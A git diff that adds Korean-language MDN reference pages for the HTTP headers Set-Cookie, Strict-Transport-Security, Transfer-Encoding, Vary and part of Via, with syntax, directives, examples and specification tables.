+<pre>Server: Apache/2.4.1 (Unix)</pre>
+
+<h2 id="기술_사양">기술 사양</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">기술 사양</th>
+   <th scope="col">제목</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "Server", "7.4.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Server")}}</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>{{HTTPHeader("Allow")}}</li>
+</ul>
diff --git a/files/ko/web/http/headers/set-cookie/index.html b/files/ko/web/http/headers/set-cookie/index.html
new file mode 100644
index 0000000000..27ffb134fb
--- /dev/null
+++ b/files/ko/web/http/headers/set-cookie/index.html
@@ -0,0 +1,161 @@
+---
+title: Set-Cookie
+slug: Web/HTTP/Headers/Set-Cookie
+tags:
+  - HTTP
+  - 레퍼런스
+  - 응답
+  - 쿠키
+  - 헤더
+translation_of: Web/HTTP/Headers/Set-Cookie
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>Set-Cookie</code></strong> HTTP 응답 헤더는 서버에서 사용자 브라우저에 쿠키를 전송하기 위해 사용됩니다.</p>
+
+<p>자세한 정보를 보려면 <a href="/en-US/docs/Web/HTTP/Cookies">HTTP cookies</a>에 수록된 가이드를 읽으세요.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; Expires=&lt;date&gt;
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; Max-Age=&lt;non-zero-digit&gt;
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; Domain=&lt;domain-value&gt;
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; Path=&lt;path-value&gt;
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; Secure
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; HttpOnly
+
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; SameSite=Strict
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; SameSite=Lax
+
+// Multiple directives are also possible, for example:
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; Domain=&lt;domain-value&gt;; Secure; HttpOnly
+</pre>
+
+<h2 id="디렉티브">디렉티브</h2>
+
+<dl>
+ <dt><code>&lt;cookie-name&gt;=&lt;cookie-value&gt;</code></dt>
+ <dd>쿠키는 "이름-값" 페어로 시작됩니다.
+ <ul>
+  <li><code>&lt;cookie-name&gt;</code> 는 제어 문자 및 공백, 탭(\t)를 제외한 아스키 문자로 구성되어야 합니다. 또한, "( ) &lt; &gt; @ , ; : \ " /  [ ] ? = { }" 같은 문자도 포함할 수 없습니다.</li>
+  <li>A <code>&lt;cookie-value&gt;</code> 는 필요하다면 쌍 따운표로 묶여질 수 있고 아스키 코드 문자로 구성되어야 하고, <code>&lt;cookie-name&gt;</code>처럼 제어 문자, 공백, 쌍 따운표, 콤마, 세미콜론, 역 슬래쉬(\)는 사용할 수 없습니다. <strong>엔코딩</strong>: 쿠기 값에 대해서 URL 엔코딩을 사용하는 구현 기법들이 많지만, RFC 명세에서 요구하는 것은 아닙니다. 단지, &lt;cookie-value&gt;에 허용된 문자에 대한 요구사항을 만족시킬 뿐이죠.</li>
+  <li><strong><code>__Secure-</code> 프리픽스</strong>:<code> __Secure-</code> (대쉬는 프리픽스의 일부입니다)로 시작되는 쿠키 이름은 반드시 <code>secure</code> 플래그가 설정되어야 하고, 보안 페이지(HTTPS)여야 합니다.</li>
+  <li><strong><code>__Host-</code> 프리픽스</strong>: <code>__Host-</code> 로 시작되는 쿠키들은 <code>secure</code> 플래그가 설정되어야 하며, 마찬가지로 보안 페이지(HTTPS)여야 하고, 도메인이 지정되지 않아야 합니다. (따라서 서브 도메인에 쿠키를 공유할 수 없습니다) 그리고, 경로는 반드시 "/"여야 합니다.</li>
+ </ul>
+ </dd>
+ <dt>Expires=&lt;date&gt; {{optional_inline}}</dt>
+ <dd>
+ <p>HTTP 타임스템프로 기록된 쿠키의 최대 생존 시간(수명). 세부 형태를 확인하려면 {{HTTPHeader("Date")}}를 참조하세요. 지정되지 않았다면, <strong>세션 쿠키</strong>로서 취급되며, 클라이언트가 종료될 때 파기 됩니다. 그러나 많은 웹 브라우져에서 세션이라고 불리는 기능(그러니까 모든 탭을 기억했다가 브라우져를 다시 켜면 복구된다던지 하는 기능)을 구현합니다. 쿠키들 또한 함께 복원되므로, 정확히 말해서 브라우져를 닫은 적이 없는 게 되는 것이죠.</p>
+
+ <p>만료 시간이 지정되면, 시간 및 날자로 이뤄진 값은 서버가 아니라 클라이언트에 상대적인 값으로 취급됩니다.</p>
+ </dd>
+ <dt>Max-Age=&lt;number&gt; {{optional_inline}}</dt>
+ <dd>쿠키가 만료될 때 까지의 시간 (초 단위). 0 또는 음수가 지정되면 해당 쿠키는 즉시 만료되며, 오래된 브라우저(ie6, ie7 그리고 ie8)은 이 헤더를 지원하지 않습니다. 다른 브라우저들은 둘 다(<code>Expires</code> 와 <code>Max-Age)</code> 지정되었을 때 <code>Max-Age</code> 값을 더 우선시합니다.</dd>
+ <dt>Domain=&lt;domain-value&gt; {{optional_inline}}</dt>
+ <dd>쿠키가 적용되어야 하는 호스트를 지정. 지정되어 있지 않으면 현재 문서 URI를 기준으로 적용됩니다만, 서브 도메인을 포함하지 않습니다. 이전의 설계와 달리, 도메인의 선두에 위치한 점들은 무시됩니다. 도메인이 지정되면, 서브도메인들은 항상 포함됩니다.</dd>
+ <dt>Path=&lt;path-value&gt; {{optional_inline}}</dt>
+ <dd>쿠키 헤더를 보내기 전에 요청 된 리소스에 있어야하는 URL 경로를 나타냅니다. % x2F ( "/") 문자는 디렉토리 구분 기호로 해석되며 하위 디렉토리도 일치합니다 (예: path=/docs, "/docs", "/docs/Web/"또는 "/docs/Web/HTTP "가 모두 일치합니다).</dd>
+ <dt>Secure {{optional_inline}}</dt>
+ <dd>보안 쿠키들은 서버에서 요청이 SSL을 사용하며, HTTPS 프로토콜을 사용할 때에만 전송됩니다. 그러나 기밀 정보나 민감한 정보들은 HTTP 쿠키에 보관되거나 그걸로 전송되어선 안됩니다. 왜냐하면, 그 전체 메커니즘이 본질적으로 보안이 결여되어 있고, 거기 들어있는 어떤 정보도 암호화되지 않기 때문입니다.
+ <p class="note"><strong>노트:</strong> 비 보안 사이트(<code>http:</code>)들은 "보안" 쿠키를 더이상 설정할 수 없습니다(Chrome 52+ 및 Firefox 52+).</p>
+ </dd>
+ <dt>HttpOnly {{optional_inline}}</dt>
+ <dd>HTTP-only cookies aren't accessible via JavaScript through the property, the {{domxref("XMLHttpRequest")}} and {{domxref("Request")}} APIs to mitigate attacks against cross-site scripting ({{Glossary("XSS")}}).</dd>
+ <dt>SameSite=Strict<br>
+ SameSite=Lax {{optional_inline}} {{experimental_inline}}</dt>
+ <dd>
+ <p>Allows servers to assert that a cookie ought not to be sent along with cross-site requests, which provides some protection against cross-site request forgery attacks ({{Glossary("CSRF")}}).</p>
+ </dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Session_cookie">Session cookie</h3>
+
+<p>Session cookies will get removed when the client is shut down. They don't specify the <code>Expires</code> or <code>Max-Age</code> directives. Note that web browser have often enabled session restoring.</p>
+
+<pre>Set-Cookie: sessionid=38afes7a8; HttpOnly; Path=/</pre>
+
+<h3 id="Permanent_cookie">Permanent cookie</h3>
+
+<p>Instead of expiring when the client is closed, permanent cookies expire at a specific date (<code>Expires</code>) or after a specific length of time (<code>Max-Age</code>).</p>
+
+<pre>Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
+</pre>
+
+<h3 id="Invalid_domains">Invalid domains</h3>
+
+<p>A cookie belonging to a domain that does not include the origin server <a href="https://tools.ietf.org/html/rfc6265#section-4.1.2.3">should be rejected by the user agent</a>. The following cookie will be rejected if it was set by a server hosted on originalcompany.com.</p>
+
+<pre>Set-Cookie: qwerty=219ffwef9w0f; Domain=somecompany.co.uk; Path=/; Expires=Wed, 30 Aug 2019 00:00:00 GMT</pre>
+
+<h3 id="Cookie_prefixes">Cookie prefixes</h3>
+
+<p>Cookies names with the prefixes <code>__Secure-</code> and <code>__Host-</code> can be used only if they are set with the <code>secure</code> directive from a secure (HTTPS) origin. In addition, cookies with the <code>__Host-</code> prefix must have a path of "/" (the entire host) and must not have a domain attribute. For clients that don't implement cookie prefixes, you cannot count on having these additional assurances and the cookies will always be accepted.</p>
+
+<pre>// Both accepted when from a secure origin (HTTPS)
+Set-Cookie: __Secure-ID=123; Secure; Domain=example.com
+Set-Cookie: __Host-ID=123; Secure; Path=/
+
+// Rejected due to missing Secure directive
+Set-Cookie: __Secure-id=1
+
+// Rejected due to the missing Path=/ directive
+Set-Cookie: __Host-id=1; Secure
+
+// Rejected due to setting a domain
+Set-Cookie: __Host-id=1; Secure; Path=/; domain=example.com
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("6265", "Set-Cookie", "4.1")}}</td>
+   <td>HTTP State Management Mechanism</td>
+  </tr>
+  <tr>
+   <td><a href="https://tools.ietf.org/html/draft-ietf-httpbis-rfc6265bis-02">draft-ietf-httpbis-rfc6265bis-02</a></td>
+   <td>Cookie Prefixes, Same-Site Cookies, and Strict Secure Cookies</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Set-Cookie")}}</p>
+
+<h2 id="Compatibility_notes">Compatibility notes</h2>
+
+<ul>
+ <li>Starting with Chrome 52 and Firefox 52, insecure sites (<code>http:</code>) can't set cookies with the "secure" directive anymore.</li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Cookies">HTTP cookies</a></li>
+ <li>{{HTTPHeader("Cookie")}}</li>
+ <li>{{domxref("Document.cookie")}}</li>
+</ul>
diff --git a/files/ko/web/http/headers/strict-transport-security/index.html b/files/ko/web/http/headers/strict-transport-security/index.html
new file mode 100644
index 0000000000..d80533e014
--- /dev/null
+++ b/files/ko/web/http/headers/strict-transport-security/index.html
@@ -0,0 +1,108 @@
+---
+title: Strict-Transport-Security
+slug: Web/HTTP/Headers/Strict-Transport-Security
+translation_of: Web/HTTP/Headers/Strict-Transport-Security
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong>HTTP <code>Strict-Transport-Security</code></strong> response header (종종 {{Glossary("HSTS")}} 로 약칭) 는 HTTP 대신 HTTPS만을 사용하여 통신해야한다고 웹사이트가 브라우저에 알리는 보안 기능.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">Strict-Transport-Security: max-age=&lt;expire-time&gt;
+Strict-Transport-Security: max-age=&lt;expire-time&gt;; includeSubDomains
+Strict-Transport-Security: max-age=&lt;expire-time&gt;; preload
+</pre>
+
+<h2 id="Directives">Directives</h2>
+
+<dl>
+ <dt><code>max-age=&lt;expire-time&gt;</code></dt>
+ <dd>이 사이트가 HTTPS 로만 접근되어야 한다고 기억되어야 하는 시간(초).</dd>
+ <dt><code>includeSubDomains</code> {{optional_inline}}</dt>
+ <dd>이 옵션이 적용되면, 이 사이트의 모든 서브도메인에 규칙이 적용된다는 것을 의미한다.</dd>
+ <dt><code>preload</code> {{optional_inline}}</dt>
+ <dd>자세한 내용은 다음 {{anch("Preloading Strict Transport Security")}} 을 참고.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>만약 이 웹사이트가 HTTP 요청을 받고 HTTPS 로 리다이렉트 하는 경우에, 유저가 만약 http://www.foo.com/ 을 입력하거나, 심지어 foo.com 만 입력하는 경우에, 리다이렉트 되기 이전의 암호화 되지 않은 버전의 사이트와 통신하게 된다. 이 경우, 안전한 버전의 원본 페이지가 아닌 악의적인 다른 페이지로 리다이렉트 되는 man-in-the-middle attack 의 잠재적 위험이 있다. </p>
+
+<p>HTTP Strict Transport Security 헤더는 웹사이트가 브라우저에게 절대로 HTTP 로 사이트를 연결하면 안되고 HTTP 로 연결하려는 모든 시도는 자동으로 HTTPS로 변경해야 된다고 알린다. </p>
+
+<div class="note"><strong>Note:</strong> <code>Strict-Transport-Security</code> 헤더는 사이트에 HTTP 로 접근되었을때에는 무시된다. 공격자가 HTTP 연결을 가로채어 헤더를 주입하거나 제거했을 수 있기 때문이다.  만약 당신의 사이트가 HTTPS 로 접근되었고 인증 에러도 없었다면,  브라우저는 당신의 사이트가 HTTPS 를 사용할 수 있음을 알고, <code>Strict-Transport-Security</code>  헤더를 사용한다. </div>
+
+<h3 id="An_example_scenario">An example scenario</h3>
+
+<p>당신은 공항의 무료 WiFi 에 로그인하여 웹서핑을 시작하여, 잔고 확인과 영수 처리를 하기 위해 온라인 뱅킹을 시작했다. 하지만, 당신이 사용중인 access point 는 사실은 해커의 노트북이고, 그는 당신의 원본 HTTP 리퀘스트를 가로채어 진짜 은행 사이트가 아닌 가짜 은행 사이트로 리다이렉트 했다. 당신의 비공개 데이터는 해커에게 노출되었다.</p>
+
+<p>당신이 HTTPS 를 이용해서 은행의 웹사이트를 접근한 적이 있었고, 그 은행의 웹사이트가 Strict Transport Security 를 사용한다면 당신의 브라우저는 자동으로 HTTPS 만 사용할 것이고, 해커가 이러한 man-in-the-middle 공격을 하는것을 방지해준다. 따라서 Strict Transport Security는 이러한 문제를 해결해준다.</p>
+
+<h3 id="How_the_browser_handles_it">How the browser handles it</h3>
+
+<p>맨 처음 HTTPS 를 이용해서 접근되면 당신의 사이트는 <code>Strict-Transport-Security</code> 헤더를 응답한다. 당신의 브라우저는 이러한 정보를 기록해서 이후에 HTTP 로 접근하려는 시도를 자동으로 HTTPS 를 사용하도록 변경한다. </p>
+
+<p>만약 Strict-Transport-Security 헤더에 명시된 만료시간(expiration time)이 지나면, HTTP 로 접근하려는 다음 시도는 HTTPS 를 사용하지 않는다.</p>
+
+<p>Strict-Transport-Security 헤더가 브라우저에게 제공되면, 브라우저는 해당 사이트의 만료시간을 갱신하여 만료되지 않도록 한다. Strict Transport Security 헤더를 의 max-age 값을 0으로 지정(HTTPS 연결중)하면 <code>Strict-Transport-Security</code>헤더가 즉시 비활성 되어 HTTP 를 통한 접근이 허용된다.</p>
+
+<h2 id="Preloading_Strict_Transport_Security">Preloading Strict Transport Security</h2>
+
+<p>구글은 <a href="https://hstspreload.appspot.com/">HSTS preload service</a> 를 관리하고 있다. 가이드라인을 따르고 당신의 도메인 등록을 성공하면, 브라우저는 당신의 도메인에 안전하지 않은 연결을 하지 않게 된다. 이 서비스는 구글에 의해 제공되지만, 모든 브라우저는 preload list 를 사용하겠다는 의도를 밝혔다(혹은 실제로 사용하고있다). </p>
+
+<ul>
+ <li>Information regarding the HSTS preload list in Chrome :  <a href="https://www.chromium.org/hsts">https://www.chromium.org/hsts</a></li>
+ <li>Consultation of the Firefox HSTS preload list : <a href="https://dxr.mozilla.org/comm-central/source/mozilla/security/manager/ssl/nsSTSPreloadList.inc">nsSTSPreloadList.inc</a></li>
+</ul>
+
+<h2 id="Examples">Examples</h2>
+
+<p>모든 서브도메인을 포함해서 최대 1년간 HTTPS 를 통해 접근하겠다는 이 페이지와 서브도메인들 모두 HTTP 를 통한 접근을 막는다.</p>
+
+<pre>Strict-Transport-Security: max-age=31536000; includeSubDomains</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HSTS')}}</td>
+   <td>{{Spec2('HSTS')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Strict-Transport-Security")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Blog post: <a class="external" href="http://blog.sidstamm.com/2010/08/http-strict-transport-security-has.html">HTTP Strict Transport Security has landed!</a></li>
+ <li>Blog post: <a class="external" href="http://hacks.mozilla.org/2010/08/firefox-4-http-strict-transport-security-force-https/">HTTP Strict Transport Security (force HTTPS)</a></li>
+ <li>OWASP Article: <a href="https://www.owasp.org/index.php/HTTP_Strict_Transport_Security">HTTP Strict Transport Security</a></li>
+ <li>Wikipedia: <a href="http://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security">HTTP Strict Transport Security</a></li>
+</ul>
diff --git a/files/ko/web/http/headers/transfer-encoding/index.html b/files/ko/web/http/headers/transfer-encoding/index.html
new file mode 100644
index 0000000000..0b2f3900fc
--- /dev/null
+++ b/files/ko/web/http/headers/transfer-encoding/index.html
@@ -0,0 +1,104 @@
+---
+title: Transfer-Encoding
+slug: Web/HTTP/Headers/Transfer-Encoding
+translation_of: Web/HTTP/Headers/Transfer-Encoding
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>Transfer-Encoding</code></strong> 헤더는 사용자에게 {{Glossary("Entity header","entity")}}를 안전하게 전송하기 위해 사용하는 인코딩 형식을 지정합니다.</p>
+
+<p><code>Transfer-Encoding</code>은 <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#hbh">hop-by-hop 헤더</a>로, 리소스 자체가 아닌 두 노드 사이에 메시지를 적용하는 것입니다. 다중-노드 연결의 각각의 세그먼트는 <code>Transfer-Encoding</code> 의 값을 다르게 사용할 수 있습니다. 만약 전체 연결에 있어 데이터를 압축하고자 한다면, end-to-end 헤더인 {{HTTPHeader("Content-Encoding")}} 헤더를 대신 사용하시기 바랍니다.</p>
+
+<p>본문이 없는 {{HTTPMethod("HEAD")}} 요청에 대한 응답은 그에 대한 {{HTTPMethod("GET")}} 메시지에 적용될 값을 나타냅니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>yes</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Transfer-Encoding: chunked
+Transfer-Encoding: compress
+Transfer-Encoding: deflate
+Transfer-Encoding: gzip
+Transfer-Encoding: identity
+
+<em>// 어떤 값들은 쉼표로 구분하여 나열될 수 있습니다</em>
+Transfer-Encoding: gzip, chunked</pre>
+
+<h2 id="디렉티브">디렉티브</h2>
+
+<dl>
+ <dt><code>chunked</code></dt>
+ <dd>데이터가 일련의 청크 내에서 전송됩니다. {{HTTPHeader("Content-Length")}} 헤더는 이 경우 생략되며, 각 청크의 앞부분에 현재 청크의 길이가 16진수 형태로 오고 그 뒤에는 '\r\n'이 오고 그 다음에 청크 자체가 오며, 그 뒤에는 다시 '\r\n'이 옵니다. 종료 청크는 그것의 길이가 0인 것을 제외하면 일반적인 청크와 다르지 않습니다. 그 다음에는 (비어있을수도 있는) 연속된 엔티티 헤더 필드로 구성된 트레일러가 옵니다.</dd>
+ <dt><code>compress</code></dt>
+ <dd><a class="external" href="http://en.wikipedia.org/wiki/LZW">Lempel-Ziv-Welch</a> (LZW) 알고리즘을 사용하는 형식. 값의 이름은 이 알고리즘을 구현한, UNIX <em>compress</em> 프로그램에서 차용된 것입니다.<br>
+ 대부분의 UNIX 배포판에서 제외된 압축 프로그램처럼, 이 content-encoding은 어느 정도는 (2003년에 기한이 만료된) 특허 문제로 인해 오늘날 거의 대부분의 브라우저에서 사용되지 않고 있습니다.</dd>
+ <dt><code>deflate</code></dt>
+ <dd>(<a class="external" href="http://tools.ietf.org/html/rfc1952">RFC 1951</a>에 정의된) <em><a class="external" href="http://en.wikipedia.org/wiki/DEFLATE">deflate</a> </em>압축 알고리즘과 함께 (<a class="external" href="http://tools.ietf.org/html/rfc1950">RFC 1950</a>에서 정의된) <a class="external" href="http://en.wikipedia.org/wiki/Zlib">zlib</a> 구조체를 사용합니다.</dd>
+ <dt><code>gzip</code></dt>
+ <dd>32비트 CRC를 이용한 <a class="external" href="http://en.wikipedia.org/wiki/LZ77_and_LZ78#LZ77">Lempel-Ziv coding</a> (LZ77)을 사용하는 형식. 이것은 근본적으로 UNIX <em>gzip</em> 프로그램의 형식입니다. 또한, HTTP/1.1 표준은 이 content-encoding을 지원하는 서버는 호환성 목적을 위해 <code>x-gzip</code> 을 별칭으로 인지할 것을 권고하고 있습니다.</dd>
+ <dt><code>identity</code></dt>
+ <dd>정체성 기능 (즉, 압축이나 수정이 없는) 을 나타냅니다. 이 토크은 명시적으로 지정되는 경우를 제외하고 항상 허용 가능한 것으로 간주됩니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="청크_분할_인코딩">청크 분할 인코딩</h3>
+
+<p>청크 분할 인코딩은 더 많은 양의 데이터가 클라이언트에 전송되고 요청이 완전히 처리되기 전까지는 응답의 전체 크기를 알지 못하는 경우 유용하다. 데이터베이스 쿼리의 결과가 될 큰 HTML 테이블을 생성하는 경우나 큰 이미지를 전송하는 경우가 그 예입니다. 청크 분할 응답은 다음과 같습니다:</p>
+
+<pre>HTTP/1.1 200 OK
+Content-Type: text/plain
+Transfer-Encoding: chunked
+
+7\r\n
+Mozilla\r\n
+9\r\n
+Developer\r\n
+7\r\n
+Network\r\n
+0\r\n
+\r\n</pre>
+
+<h2 id="명세서">명세서</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">제목</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7230", "Transfer-Encoding", "3.3.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http/headers/transfer-encoding")}}</p>
+
+<h2 id="함께_참고할_내용들">함께 참고할 내용들</h2>
+
+<ul>
+ <li>{{HTTPHeader("Accept-Encoding")}}</li>
+ <li>{{HTTPHeader("Content-Encoding")}}</li>
+ <li>{{HTTPHeader("Content-Length")}}</li>
+ <li>Header fields that regulate the use of trailers: {{HTTPHeader("TE")}} (requests) and {{HTTPHeader("Trailer")}} (responses).</li>
+ <li>
+  <p><a href="https://en.wikipedia.org/wiki/Chunked_transfer_encoding">Chunked transfer encoding</a></p>
+ </li>
+</ul>
diff --git a/files/ko/web/http/headers/vary/index.html b/files/ko/web/http/headers/vary/index.html
new file mode 100644
index 0000000000..8743328eb1
--- /dev/null
+++ b/files/ko/web/http/headers/vary/index.html
@@ -0,0 +1,82 @@
+---
+title: Vary
+slug: Web/HTTP/Headers/Vary
+translation_of: Web/HTTP/Headers/Vary
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>Vary</code></strong> 헤더는 캐시 된 응답을 향후 요청들에서 오리진 서버로 새로운 요청 헤더를 요청하는 대신 사용할 수 있는지 여부를 결정합니다. 이것은 서버에서 <a href="/en-US/docs/Web/HTTP/Content_negotiation">컨텐츠 협상</a> 알고리즘에 어떤 리소스를 선택을 할 것인지를 가르킵니다.</p>
+
+<p><code>Vary</code> 헤더는 {{HTTPStatus("200")}} <code>OK</code> 응답과 동일하게 {{HTTPStatus("304")}} <code>Not Modified</code> 응답에서도 설정 되어야 합니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">Vary: *
+Vary: &lt;header-name&gt;, &lt;header-name&gt;, ...
+</pre>
+
+<h2 id="지시자">지시자</h2>
+
+<dl>
+ <dt>*</dt>
+ <dd>각 요청에 대해서 유일하며 캐시 할 수 없는 요청으로 간주합니다.<br>
+ 이보다 더 좋은 방법으로 {{HTTPHeader("Cache-Control")}}: <code>no-store</code>, 를 사용 하는것이 객체를 저장하면 안된다는 의미로 좀더 명확하게 표시되고 읽을 수 있습니다.</dd>
+ <dt>&lt;header-name&gt;</dt>
+ <dd>헤더 이름은 쉼표로 구분되며 캐시 된 응답을 사용할 수 있는지 여부를 결정할 때 사용 됩니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="동적_제공">동적 제공</h3>
+
+<p><code>Vary: User-Agent</code> 헤더를 사용시 캐싱 서버는 캐시된 페이지를 응답할지 여부를 User-Agent 로 고려해야합니다. 예를 들어, 모바일 유저에게 다른 컨텐츠를 제공해야 할 경우, 모바일 유저에게 데스크탑 유저를 위한 캐시 컨텐츠가 제공 되는것을 피할 수 있습니다. 구글이나 다른 검색 엔진등 에서 모바일 버전을 발견 할수 있는데 도움이 되며, <a href="https://en.wikipedia.org/wiki/Cloaking">클로킹</a>이 의도되지 않는다고 볼 수도 있습니다.</p>
+
+<pre>Vary: User-Agent</pre>
+
+<h2 id="기술_사양">기술 사양</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">기술 사양</th>
+   <th scope="col">제목</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "Vary", "7.1.4")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Vary")}}</p>
+
+<h2 id="호환성_노트"><span class="trans_txt">호환성 노트</span></h2>
+
+<ul>
+ <li><a href="https://blogs.msdn.microsoft.com/ieinternals/2009/06/17/vary-with-care/">Vary with care – Vary header problems in IE6-9</a></li>
+</ul>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li><a href="https://www.smashingmagazine.com/2017/11/understanding-vary-header/">Understanding The Vary Header - Smashing Magazine</a></li>
+ <li><a href="https://www.fastly.com/blog/best-practices-for-using-the-vary-header">Best Practices for Using the Vary Header – fastly.com</a></li>
+ <li><a href="https://developer.mozilla.org/docs/Web/HTTP/Content_negotiation">Content negotiation</a></li>
+</ul>
diff --git a/files/ko/web/http/headers/via/index.html b/files/ko/web/http/headers/via/index.html
new file mode 100644
index 0000000000..80bc54a6ff
--- /dev/null
+++ b/files/ko/web/http/headers/via/index.html
@@ -0,0 +1,79 @@
+---
+title: Via
+slug: Web/HTTP/Headers/Via
+tags:
+  - 한국어
+  - 헤더
+translation_of: Web/HTTP/Headers/Via
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><code><strong>Via</strong></code> 헤더는 요청헤더와 응답헤더에 포워드 프록시와 리버스 프록시에 의해서 추가 됩니다. 이 것은 포워드 메시지를 추적하거나, 요청 루프 방지, 요청과 응답 체인에 따라 송신자의 프로토콜 정보를 식별 합니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("General header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>yes</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox notranslate">Via: [ &lt;protocol-name&gt; "/" ] &lt;protocol-version&gt; &lt;host&gt; [ ":" &lt;port&gt; ]
+or
+Via: [ &lt;protocol-name&gt; "/" ] &lt;protocol-version&gt; &lt;pseudonym&gt;
+</pre>
+
+<h2 id="지시자">지시자</h2>
+
+<dl>
+ <dt>&lt;protocol-name&gt;</dt>
+ <dd>선택사항. "HTTP" 와 같은 사용된 프로토콜의 이름.</dd>
+ <dt>&lt;protocol-version&gt;</dt>
